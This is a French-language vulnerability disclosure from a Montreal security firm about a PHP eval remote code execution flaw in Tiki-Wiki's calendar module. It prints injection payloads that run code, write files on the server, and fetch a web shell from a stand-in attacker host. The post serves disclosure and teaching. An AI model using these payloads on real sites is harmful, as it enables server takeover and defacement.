410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Montréal, le 15 mars 2016
Tiki-Wiki le jour 0 au calendrier
Avertissement : Le contenu de cet article se veut informatif et est publié dans un esprit de
partage avec les professionnels de la sécurité. SecurEcom Services Conseils se dégage de toute
utilisation illicite des informations qui suivent.
Au cours des derniers mois, j’ai découvert une vulnérabilité critique lors d’un test d’intrusion
sur un site web. Cette vulnérabilité touche le module calendrier du CMS, Tiki-Wiki. Avant
d’expliquer techniquement cette vulnérabilité, il est important de décrire la façon employée
pour la deceller.
Ce qui est le plus surprenant au sujet de cette vulnérabilité, c’est qu’elle fut identifiée et
signalée que dernièrement malgré qu’elle soit présente depuis très longtemps. Cette
vulnérabilité affecte toutes les versions supportées de Tiki-Wiki (considérant que le calendrier
est activé). Compte tenu de la popularité de ce produit utilisé par des milliers de sites web, il est
surprenant que je sois le premier testeur à m’y attaquer et à déceler cette faille.
L’approche méthodique habituelle m’a permis de découvrir et d’exploiter cette faille qui est
d’une simplicité effarante.
Lors d’un test d’intrusion, j’effectue systématiquement les mêmes étapes :
 Recherche d’information
 Analyse des résultats
 Exploration des cibles prometteuses
 Tentatives d’attaque successives
Que ce soit pour un site web, une application, une infrastructure réseau ou des services et
serveurs, le principe demeure le même. Les mêmes étapes se succèdent, la phase de recherche
d’information s’appuie sur une multitude d’outils informatiques et d’explorations manuelles.
Dans le cas de l’application de calendrier sur le Tiki-wiki, certains indices relevés lors de l’analyse
m’ont permis d’identifier une anomalie sur le fichier tiki-calendar.php. En effet, certains
balayages m’indiquaient qu’il y avait possiblement une mauvaise protection de la fonction
« eval » utilisée par le dit module.
« Cette faille se produit lorsqu’un attaquant peut contrôler en tout ou en partie une chaîne
d'entrée qui est introduite dans un appel de fonction eval (). »
Fréquemment, les outils de balayage de vulnérabilités rapportent ce que l’on nomme de faux
positifs. C’est pourquoi chaque élément rapporté doit faire l’objet d’une analyse manuelle.

410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Après quelques tests manuels, j’ai décelé qu’il me suffisait d’altérer la requête web pour faire
réagir le serveur, c’est-à-dire d’exécuter du code PHP.
À partir de ce point, il suffit d’intégrer quelques fichiers PHP au site en modifiant directement le
contenu de la barre d’adresse du navigateur. Ceci permet d’obtenir une console de commande
connectée directement sur le serveur. Maintenant, le contrôle complet du site et du contenu est
obtenu.
Description techniques de l’attaque
Je ne présenterai pas l’enchainement complet des étapes pour obtenir une telle console mais je
fournirai suffisament d’éléments pour permettre aux intéressés de comprendre comment on
peut exploiter une faille de type « PHP Remote Code Execution ».
Premièrement, pour valider si une faille est exploitable, il suffit de modifier la barre d’adresse du
navigateur pour y insérer une commande qui permet d’afficher un mot sur la page et de voir le
résultat. Si le mot s’affiche, l’exécution de commandes sur le site est possible.
Ex.1 Ajouter une commande à la fin de la barre d’adresse sur une vue du calendrier :
';print(Securecom);$a='
Résultats :
EX.2 Inclurer une nouvelle page ou « effacer » l’index principal du site :
'; $z=fopen("index6.php",'w'); fwrite($z,("SecurEcom"));fclose($z);$a='
Résultats :

410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Ex.3 Inclure un fichier de commande PHP au site.
Cette fois la commande demande au serveur de copier le contenu d’un fichier situé sur
l’ordinateur du pirate et de créer le fichier shell.php à la racine du site. Il suffit ensuite de visiter
l’adresse du site qui contient le fichier pour exécuter les commandes PHP qu’il contient. En
l’occurrence, le fichier peut contenir un « shellcode » de connexion inverse. L’attaquant recevra
donc la console dans une connexion en attente.
'; $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://AdresseDuPirate/
shellphp_et_Datachaos/msf2.txt"));fclose($z);'
Résultats :
Plusieurs autres exemples de ce genre pourraient être donnés mais les intéressés par le sujet
auront compris l’essentiel de l’attaque. Il faut se rappeler que toutes les applications sont
susceptibles de contenir ce genre de faille. Elle était présente depuis très longtemps malgré
qu’elle soit si simple à exploiter. C’est pour cette raison, qu’il ne faut jamais assumer lors d’un
test d’intrusion. La vérification consciencieuse de chaque élément est la garantie du succès.
À noter que cette vulnérabilité a été déclarée à l’équipe de sécurité de Tiki-Wiki et elle a fait
l’objet d’une mise à jour de sécurité importante.
http://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
Dany Ouellet, OSCP
SecurEcom Services Conseils inc.
Dany.ouellet@securecom.ca
www.securecom.ca